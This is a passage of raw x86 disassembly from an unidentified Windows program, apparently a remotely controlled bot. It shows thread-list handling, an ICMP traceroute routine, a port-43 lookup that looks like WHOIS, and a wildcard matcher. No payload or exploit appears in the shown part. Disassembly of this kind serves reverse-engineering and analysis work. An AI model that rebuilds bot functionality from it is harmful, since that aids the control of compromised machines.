[ebp+var_1A8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx cmp dword_41E2F0, 0 jz short loc_409B25 push 10h push dword_41E2F0 push offset dword_4194EC lea eax, [ebp+var_1A8] push eax call sub_40D53F add esp, 10h jmp short loc_409B3F ; --------------------------------------------------------------------------- loc_409B25: ; CODE XREF: sub_409AD5+30j push offset dword_4194CC lea eax, [ebp+var_1A8] push eax call sub_40D53F pop ecx pop ecx xor eax, eax jmp locret_409BED ; --------------------------------------------------------------------------- loc_409B3F: ; CODE XREF: sub_409AD5+4Ej push offset dword_41E2D8 call sub_409C6C pop ecx and [ebp+var_10], 0 and [ebp+var_4], 0 jmp short loc_409B5B ; --------------------------------------------------------------------------- loc_409B54: ; CODE XREF: sub_409AD5:loc_409BDBj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_409B5B: ; CODE XREF: sub_409AD5+7Dj cmp [ebp+var_4], 10h jge short loc_409BE0 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+8], 0 jz short loc_409BDB push offset dword_41E2D8 call sub_409C7A pop ecx push 3E8h call ds:dword_41709C ; Sleep push offset dword_41E2D8 call sub_409C6C pop ecx mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 lea eax, [ecx+eax+14h] push eax push [ebp+var_4] push offset dword_4194BC lea eax, [ebp+var_1A8] push eax call sub_40D53F add esp, 10h mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+4], 0 jz short loc_409BDB jmp short loc_409BE0 ; --------------------------------------------------------------------------- loc_409BDB: ; CODE XREF: sub_409AD5+A0j ; sub_409AD5+102j jmp loc_409B54 ; --------------------------------------------------------------------------- loc_409BE0: ; CODE XREF: sub_409AD5+8Aj ; sub_409AD5+104j push offset dword_41E2D8 call sub_409C7A pop ecx xor eax, eax locret_409BED: ; CODE XREF: sub_409AD5+65j leave retn 4 sub_409AD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409BF1 proc near ; CODE XREF: sub_40A9CF+AFBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A3h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_409C0B jmp short locret_409C34 ; --------------------------------------------------------------------------- loc_409C0B: ; CODE XREF: sub_409BF1+16j push [ebp+arg_0] push [ebp+var_4] call sub_405F67 pop ecx pop ecx push [ebp+arg_0] push offset sub_409AD5 call sub_409479 pop ecx pop ecx test eax, eax jnz short locret_409C34 push [ebp+arg_0] call sub_416B4C ; free pop ecx locret_409C34: ; CODE XREF: sub_409BF1+18j ; sub_409BF1+38j leave retn sub_409BF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C36 proc near ; CODE XREF: sub_405FA3+9p ; sub_40938F+1Fp arg_0 = dword ptr 8 push ebp mov ebp, esp push 18h push 0 push [ebp+arg_0] call sub_416B6A ; memset add esp, 0Ch cmp dword_41DE40, 0 jz short loc_409C61 push 80000400h push [ebp+arg_0] call dword_41DE40 ; InitializeCriticalSectionAndSpinCount jmp short loc_409C6A ; --------------------------------------------------------------------------- loc_409C61: ; CODE XREF: sub_409C36+19j push [ebp+arg_0] call ds:dword_4170E4 ; InitializeCriticalSection loc_409C6A: ; CODE XREF: sub_409C36+29j pop ebp retn sub_409C36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C6C proc near ; CODE XREF: sub_406041+10p ; sub_4095A4+Bp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call ds:dword_4170EC ; RtlEnterCriticalSection pop ebp retn sub_409C6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C7A proc near ; CODE XREF: sub_406041+26p ; sub_406041+307p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call ds:dword_41710C ; RtlLeaveCriticalSection pop ebp retn sub_409C7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C88 proc near ; CODE XREF: sub_40332B+10p ; sub_41113B+7EDp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] lock xadd [esi], eax pop edi pop esi pop ebx pop ebp retn sub_409C88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C9D proc near ; CODE XREF: sub_4042FB+17p ; sub_4042FB+25p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] lock xchg eax, [esi] pop edi pop esi pop ebx pop ebp retn sub_409C9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409CB1 proc near ; CODE XREF: sub_409DD0+202p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 38h call dword_41E2FC ; IcmpCreateFile mov [ebp+var_1C], eax cmp [ebp+var_1C], 0FFFFFFFFh jnz short loc_409CD8 push offset aCouldNotGetAVa ; "Could not get a valid ICMP handle\n" call sub_416DD8 ; printf pop ecx xor eax, eax jmp locret_409DCE ; --------------------------------------------------------------------------- loc_409CD8: ; CODE XREF: sub_409CB1+13j push 8 push 0 lea eax, [ebp+var_18] push eax call sub_416B6A ; memset add esp, 0Ch mov al, [ebp+arg_8] mov [ebp+var_18], al movzx eax, [ebp+arg_10] push eax call sub_416DD2 pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_28] mov [ebp+var_C], eax movzx eax, [ebp+arg_10] push eax push 45h push [ebp+var_C] call sub_416B6A ; memset add esp, 0Ch movzx eax, [ebp+arg_10] cmp eax, 8 jge short loc_409D26 mov [ebp+var_38], 8 jmp short loc_409D2D ; --------------------------------------------------------------------------- loc_409D26: ; CODE XREF: sub_409CB1+6Aj movzx eax, [ebp+arg_10] mov [ebp+var_38], eax loc_409D2D: ; CODE XREF: sub_409CB1+73j mov eax, [ebp+var_38] add eax, 1Ch mov [ebp+var_24], eax push [ebp+var_24] call sub_416DD2 pop ecx mov [ebp+var_2C], eax mov eax, [ebp+var_2C] mov [ebp+var_10], eax mov eax, [ebp+var_10] mov [ebp+var_4], eax push [ebp+arg_C] push [ebp+var_24] push [ebp+var_10] lea eax, [ebp+var_18] push eax movzx ax, [ebp+arg_10] push eax push [ebp+var_C] push [ebp+arg_0] push [ebp+var_1C] call dword_41E308 ; IcmpSendEcho mov [ebp+var_20], eax mov [ebp+var_8], 1 cmp [ebp+var_20], 1 jz short loc_409D8D call ds:dword_417064 ; RtlGetLastWin32Error mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_409DA4 ; --------------------------------------------------------------------------- loc_409D8D: ; CODE XREF: sub_409CB1+CDj mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov ecx, [ecx] mov [eax+4], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov ecx, [ecx+8] mov [eax+8], ecx loc_409DA4: ; CODE XREF: sub_409CB1+DAj push [ebp+var_1C] call dword_41E304 ; IcmpCloseHandle mov eax, [ebp+var_C] mov [ebp+var_30], eax push [ebp+var_30] call sub_416DCC pop ecx mov eax, [ebp+var_10] mov [ebp+var_34], eax push [ebp+var_34] call sub_416DCC pop ecx mov eax, [ebp+var_8] locret_409DCE: ; CODE XREF: sub_409CB1+22j leave retn sub_409CB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409DD0 proc near ; DATA XREF: sub_40A1A7+FDo var_2F0 = dword ptr -2F0h var_2EC = dword ptr -2ECh var_2E8 = dword ptr -2E8h var_2E4 = dword ptr -2E4h var_2E0 = dword ptr -2E0h var_2DC = dword ptr -2DCh var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = dword ptr -2BCh var_2B8 = dword ptr -2B8h var_2B4 = dword ptr -2B4h var_2B0 = byte ptr -2B0h var_10D = byte ptr -10Dh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2F0h push 2ACh push [ebp+arg_0] lea eax, [ebp+var_2B0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx movzx eax, byte_41E310 test eax, eax jnz short loc_409E6D push offset aIcmp_dll ; "ICMP.DLL" call ds:dword_417054 ; LoadLibraryA mov dword_41E300, eax cmp dword_41E300, 0 jnz short loc_409E24 xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E24: ; CODE XREF: sub_409DD0+4Bj push offset aIcmpcreatefile ; "IcmpCreateFile" push dword_41E300 call ds:dword_417058 ; GetProcAddress mov dword_41E2FC, eax push offset aIcmpsendecho ; "IcmpSendEcho" push dword_41E300 call ds:dword_417058 ; GetProcAddress mov dword_41E308, eax push offset aIcmpclosehandl ; "IcmpCloseHandle" push dword_41E300 call ds:dword_417058 ; GetProcAddress mov dword_41E304, eax mov byte_41E310, 1 loc_409E6D: ; CODE XREF: sub_409DD0+32j cmp dword_41E2FC, 0 jnz short loc_409E7D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E7D: ; CODE XREF: sub_409DD0+A4j cmp dword_41E308, 0 jnz short loc_409E8D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E8D: ; CODE XREF: sub_409DD0+B4j cmp dword_41E304, 0 jnz short loc_409E9D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E9D: ; CODE XREF: sub_409DD0+C4j lea eax, [ebp+var_10D] mov [ebp+var_2B8], eax push [ebp+var_2B8] call ds:dword_417244 ; inet_addr mov [ebp+var_2BC], eax cmp [ebp+var_2BC], 0FFFFFFFFh jnz short loc_409F18 push [ebp+var_2B8] call ds:dword_41723C ; gethostbyname mov [ebp+var_2C0], eax cmp [ebp+var_2C0], 0 jz short loc_409F06 mov eax, [ebp+var_2C0] movsx eax, word ptr [eax+0Ah] push eax mov eax, [ebp+var_2C0] mov eax, [eax+0Ch] push dword ptr [eax] lea eax, [ebp+var_2BC] push eax call sub_416B52 ; memcpy add esp, 0Ch jmp short loc_409F18 ; --------------------------------------------------------------------------- loc_409F06: ; CODE XREF: sub_409DD0+10Dj push offset aCouldNotResolv ; "Could not resolve name" call sub_416DD8 ; printf pop ecx xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409F18: ; CODE XREF: sub_409DD0+F2j ; sub_409DD0+134j and [ebp+var_4], 0 mov byte ptr [ebp+var_2B4], 1 jmp short loc_409F33 ; --------------------------------------------------------------------------- loc_409F25: ; CODE XREF: sub_409DD0:loc_40A19Cj mov al, byte ptr [ebp+var_2B4] add al, 1 mov byte ptr [ebp+var_2B4], al loc_409F33: ; CODE XREF: sub_409DD0+153j movzx eax, byte ptr [ebp+var_2B4] movzx ecx, [ebp+var_D] cmp eax, ecx jg loc_40A1A1 cmp [ebp+var_4], 0 jnz loc_40A1A1 and [ebp+var_2EC], 0 or [ebp+var_2E4], 0FFFFFFFFh and [ebp+var_2E0], 0 and [ebp+var_2DC], 0 and [ebp+var_2D0], 0 and [ebp+var_2C8], 0 and [ebp+var_2CC], 0 and [ebp+var_2D8], 0 and [ebp+var_2D4], 0 jmp short loc_409F9E ; --------------------------------------------------------------------------- loc_409F91: ; CODE XREF: sub_409DD0:loc_40A04Ej mov eax, [ebp+var_2D4] inc eax mov [ebp+var_2D4], eax loc_409F9E: ; CODE XREF: sub_409DD0+1BFj mov eax, [ebp+var_2D4] cmp eax, [ebp+var_8] jnb loc_40A053 cmp [ebp+var_2D8], 0 jnz loc_40A053 push 20h push [ebp+var_C] push [ebp+var_2B4] lea eax, [ebp+var_2CC] push eax push [ebp+var_2BC] call sub_409CB1 add esp, 14h test eax, eax jz short loc_40A047 cmp [ebp+var_2CC], 0 jnz short loc_40A02F mov eax, [ebp+var_2D0] add eax, [ebp+var_2C4] mov [ebp+var_2D0], eax mov eax, [ebp+var_2C4] cmp eax, [ebp+var_2E4] jnb short loc_40A013 mov eax, [ebp+var_2C4] mov [ebp+var_2E4], eax loc_40A013: ; CODE XREF: sub_409DD0+235j mov eax, [ebp+var_2C4] cmp eax, [ebp+var_2DC] jbe short loc_40A02D mov eax, [ebp+var_2C4] mov [ebp+var_2DC], eax loc_40A02D: ; CODE XREF: sub_409DD0+24Fj jmp short loc_40A045 ; --------------------------------------------------------------------------- loc_40A02F: ; CODE XREF: sub_409DD0+215j mov eax, [ebp+var_2CC] mov [ebp+var_2EC], eax mov [ebp+var_2D8], 1 loc_40A045: ; CODE XREF: sub_409DD0:loc_40A02Dj jmp short loc_40A04E ; --------------------------------------------------------------------------- loc_40A047: ; CODE XREF: sub_409DD0+20Cj xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_40A04E: ; CODE XREF: sub_409DD0:loc_40A045j jmp loc_409F91 ; --------------------------------------------------------------------------- loc_40A053: ; CODE XREF: sub_409DD0+1D7j ; sub_409DD0+1E4j mov eax, [ebp+var_2C8] mov [ebp+var_2E8], eax cmp [ebp+var_2EC], 0 jnz short loc_40A07B mov eax, [ebp+var_2D0] xor edx, edx div [ebp+var_8] mov [ebp+var_2E0], eax jmp short loc_40A090 ; --------------------------------------------------------------------------- loc_40A07B: ; CODE XREF: sub_409DD0+296j and [ebp+var_2E4], 0 and [ebp+var_2E0], 0 and [ebp+var_2DC], 0 loc_40A090: ; CODE XREF: sub_409DD0+2A9j cmp [ebp+var_2EC], 0 jnz loc_40A165 push 2 push 4 lea eax, [ebp+var_2E8] push eax call ds:dword_417220 ; gethostbyaddr mov [ebp+var_2F0], eax cmp [ebp+var_2F0], 0 jz short loc_40A115 movzx eax, byte ptr [ebp+var_2E8+3] push eax movzx eax, byte ptr [ebp+var_2E8+2] push eax movzx eax, byte ptr [ebp+var_2E8+1] push eax movzx eax, byte ptr [ebp+var_2E8] push eax mov eax, [ebp+var_2F0] push dword ptr [eax] push [ebp+var_2DC] push [ebp+var_2E0] push [ebp+var_2E4] movzx eax, byte ptr [ebp+var_2B4] push eax push offset dword_419594 lea eax, [ebp+var_2B0] push eax call sub_40D53F add esp, 2Ch jmp short loc_40A163 ; --------------------------------------------------------------------------- loc_40A115: ; CODE XREF: sub_409DD0+2EBj movzx eax, byte ptr [ebp+var_2E8+3] push eax movzx eax, byte ptr [ebp+var_2E8+2] push eax movzx eax, byte ptr [ebp+var_2E8+1] push eax movzx eax, byte ptr [ebp+var_2E8] push eax push [ebp+var_2DC] push [ebp+var_2E0] push [ebp+var_2E4] movzx eax, byte ptr [ebp+var_2B4] push eax push offset dword_419568 lea eax, [ebp+var_2B0] push eax call sub_40D53F add esp, 28h loc_40A163: ; CODE XREF: sub_409DD0+343j jmp short loc_40A187 ; --------------------------------------------------------------------------- loc_40A165: ; CODE XREF: sub_409DD0+2C7j push [ebp+var_2EC] movzx eax, byte ptr [ebp+var_2B4] push eax push offset dword_419540 lea eax, [ebp+var_2B0] push eax call sub_40D53F add esp, 10h loc_40A187: ; CODE XREF: sub_409DD0:loc_40A163j mov eax, [ebp+var_2BC] cmp eax, [ebp+var_2E8] jnz short loc_40A19C mov [ebp+var_4], 1 loc_40A19C: ; CODE XREF: sub_409DD0+3C3j jmp loc_409F25 ; --------------------------------------------------------------------------- loc_40A1A1: ; CODE XREF: sub_409DD0+170j ; sub_409DD0+17Aj xor eax, eax locret_40A1A3: ; CODE XREF: sub_409DD0+4Fj ; sub_409DD0+A8j ... leave retn 4 sub_409DD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A1A7 proc near ; CODE XREF: sub_40A9CF+FAEp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 18h cmp [ebp+arg_4], 0 jnz short loc_40A1C7 push offset unk_419618 push [ebp+arg_0] call sub_40D53F pop ecx pop ecx jmp locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A1C7: ; CODE XREF: sub_40A1A7+Aj push 2ACh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A1E0 jmp locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A1E0: ; CODE XREF: sub_40A1A7+32j push 1A3h push [ebp+arg_0] push [ebp+var_4] call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 1A3h push eax call sub_416B3A ; strcpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_40A22A push [ebp+arg_8] call sub_416B9C ; atoi pop ecx cmp eax, 0FFh jg short loc_40A22A push [ebp+arg_8] call sub_416B9C ; atoi pop ecx mov [ebp+var_10], eax jmp short loc_40A231 ; --------------------------------------------------------------------------- loc_40A22A: ; CODE XREF: sub_40A1A7+63j ; sub_40A1A7+73j mov [ebp+var_10], 1Eh loc_40A231: ; CODE XREF: sub_40A1A7+81j mov eax, [ebp+var_4] mov cl, byte ptr [ebp+var_10] mov [eax+2A3h], cl cmp [ebp+arg_C], 0 jz short loc_40A261 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx cmp eax, 927C0h jg short loc_40A261 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_14], eax jmp short loc_40A268 ; --------------------------------------------------------------------------- loc_40A261: ; CODE XREF: sub_40A1A7+9Aj ; sub_40A1A7+AAj mov [ebp+var_14], 7530h loc_40A268: ; CODE XREF: sub_40A1A7+B8j mov eax, [ebp+var_4] mov ecx, [ebp+var_14] mov [eax+2A4h], ecx cmp [ebp+arg_10], 0 jz short loc_40A288 push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_18], eax jmp short loc_40A28F ; --------------------------------------------------------------------------- loc_40A288: ; CODE XREF: sub_40A1A7+D1j mov [ebp+var_18], 3 loc_40A28F: ; CODE XREF: sub_40A1A7+DFj mov eax, [ebp+var_4] mov ecx, [ebp+var_18] mov [eax+2A8h], ecx lea eax, [ebp+var_C] push eax push 0 push [ebp+var_4] push offset sub_409DD0 push 0 push 0 call ds:dword_4170B4 ; CreateThread mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40A2C7 push [ebp+var_4] call sub_416B4C ; free pop ecx jmp short locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A2C7: ; CODE XREF: sub_40A1A7+113j push [ebp+var_8] call ds:dword_4170A4 ; CloseHandle locret_40A2D0: ; CODE XREF: sub_40A1A7+1Bj ; sub_40A1A7+34j ... leave retn sub_40A1A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A2D2 proc near ; CODE XREF: sub_40A4A4+30p var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1114 = byte ptr -1114h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 111Ch call sub_416BC0 mov eax, [ebp+arg_0] add eax, 4 push eax mov eax, [ebp+arg_0] add eax, 104h push eax mov eax, [ebp+arg_0] mov eax, [eax] push dword ptr [eax] push offset dword_41966C mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F add esp, 14h push 2710h push 0 push offset a43 ; "43" mov eax, [ebp+arg_0] add eax, 104h push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40A339 xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A339: ; CODE XREF: sub_40A2D2+5Ej mov eax, [ebp+arg_0] add eax, 4 push eax push offset aS_1 ; "%s\r\n" lea eax, [ebp+var_114] push eax call ds:dword_4171E0 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_114] push eax call sub_416B40 ; strlen pop ecx inc eax push eax lea eax, [ebp+var_114] push eax push [ebp+var_8] call sub_4053BF add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A38F push [ebp+var_8] call sub_40538D pop ecx xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A38F: ; CODE XREF: sub_40A2D2+ABj push 1000h lea eax, [ebp+var_1114] push eax push [ebp+var_8] call sub_4053DC add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_40A3B5 cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_40A3C5 loc_40A3B5: ; CODE XREF: sub_40A2D2+DBj push [ebp+var_8] call sub_40538D pop ecx xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A3C5: ; CODE XREF: sub_40A2D2+E1j lea eax, [ebp+var_1114] mov [ebp+var_10], eax loc_40A3CE: ; CODE XREF: sub_40A2D2:loc_40A492j mov eax, [ebp+var_10] mov [ebp+var_111C], eax mov eax, [ebp+var_111C] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A3E9 jmp loc_40A497 ; --------------------------------------------------------------------------- loc_40A3E9: ; CODE XREF: sub_40A2D2+110j push [ebp+var_111C] call sub_407B5E pop ecx mov [ebp+var_10], eax mov eax, [ebp+var_111C] movsx eax, byte ptr [eax] test eax, eax jz short loc_40A41B push offset dword_418F4C push [ebp+var_111C] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_40A442 loc_40A41B: ; CODE XREF: sub_40A2D2+131j mov eax, [ebp+var_111C] lea ecx, [ebp+var_1114] cmp eax, ecx jz short loc_40A440 push offset dword_41965C mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F pop ecx pop ecx loc_40A440: ; CODE XREF: sub_40A2D2+157j jmp short loc_40A458 ; --------------------------------------------------------------------------- loc_40A442: ; CODE XREF: sub_40A2D2+147j push [ebp+var_111C] mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F pop ecx pop ecx loc_40A458: ; CODE XREF: sub_40A2D2:loc_40A440j push 3E8h call ds:dword_41709C ; Sleep push offset dword_41E2D8 call sub_409C6C pop ecx mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax+4] mov [ebp+var_1118], eax push offset dword_41E2D8 call sub_409C7A pop ecx cmp [ebp+var_1118], 0 jz short loc_40A492 jmp short loc_40A497 ; --------------------------------------------------------------------------- loc_40A492: ; CODE XREF: sub_40A2D2+1BCj jmp loc_40A3CE ; --------------------------------------------------------------------------- loc_40A497: ; CODE XREF: sub_40A2D2+112j ; sub_40A2D2+1BEj push [ebp+var_8] call sub_40538D pop ecx mov al, 1 locret_40A4A2: ; CODE XREF: sub_40A2D2+62j ; sub_40A2D2+B8j ... leave retn sub_40A2D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A4A4 proc near ; DATA XREF: sub_40A50E+A1o var_3A8 = dword ptr -3A8h var_2A4 = byte ptr -2A4h var_1A4 = byte ptr -1A4h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3A8h push 3A7h push [ebp+arg_0] lea eax, [ebp+var_3A8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_3A8] push eax call sub_40A2D2 pop ecx movzx eax, al test eax, eax jnz short loc_40A4FC lea eax, [ebp+var_2A4] push eax push offset dword_419698 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40A4FC: ; CODE XREF: sub_40A4A4+3Bj push [ebp+var_3A8] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_40A4A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A50E proc near ; CODE XREF: sub_40A9CF+FE3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_40A51D jmp locret_40A5BC ; --------------------------------------------------------------------------- loc_40A51D: ; CODE XREF: sub_40A50E+8j push 3A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A536 jmp locret_40A5BC ; --------------------------------------------------------------------------- loc_40A536: ; CODE XREF: sub_40A50E+21j push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B3A ; strcpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_40A562 push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 104h push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_40A586 ; --------------------------------------------------------------------------- loc_40A562: ; CODE XREF: sub_40A50E+3Dj push offset dword_4196D4 mov eax, [ebp+var_4] add eax, 104h push eax call sub_416B3A ; strcpy pop ecx pop ecx mov eax, [ebp+var_4] add eax, 104h push eax call sub_4105FB pop ecx loc_40A586: ; CODE XREF: sub_40A50E+52j push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 204h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_4196B4 push 0 push [ebp+var_4] push offset sub_40A4A4 call sub_4095A4 add esp, 18h locret_40A5BC: ; CODE XREF: sub_40A50E+Aj ; sub_40A50E+23j leave retn sub_40A50E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A5BE proc near ; CODE XREF: sub_40A5BE+32p ; sub_40A5BE+70p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A603 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A5DD mov al, 1 jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A5DD: ; CODE XREF: sub_40A5BE+16j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A5FC mov eax, [ebp+arg_4] inc eax push eax push [ebp+arg_0] call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A5FC: ; CODE XREF: sub_40A5BE+28j xor al, al jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A603: ; CODE XREF: sub_40A5BE+Cj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A614 xor al, al jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A614: ; CODE XREF: sub_40A5BE+4Dj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A63A mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A63A: ; CODE XREF: sub_40A5BE+64j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40A65B mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A65B: ; CODE XREF: sub_40A5BE+85j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A69E mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_40A67C mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 39h jle short loc_40A687 loc_40A67C: ; CODE XREF: sub_40A5BE+B1j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A69A loc_40A687: ; CODE XREF: sub_40A5BE+BCj mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A69A: ; CODE XREF: sub_40A5BE+C7j xor al, al jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A69E: ; CODE XREF: sub_40A5BE+A6j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A6E7 and [ebp+var_4], 0 jmp short loc_40A6B6 ; --------------------------------------------------------------------------- loc_40A6AF: ; CODE XREF: sub_40A5BE:loc_40A6E5j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40A6B6: ; CODE XREF: sub_40A5BE+EFj mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] push eax call sub_40A5BE pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40A6D4 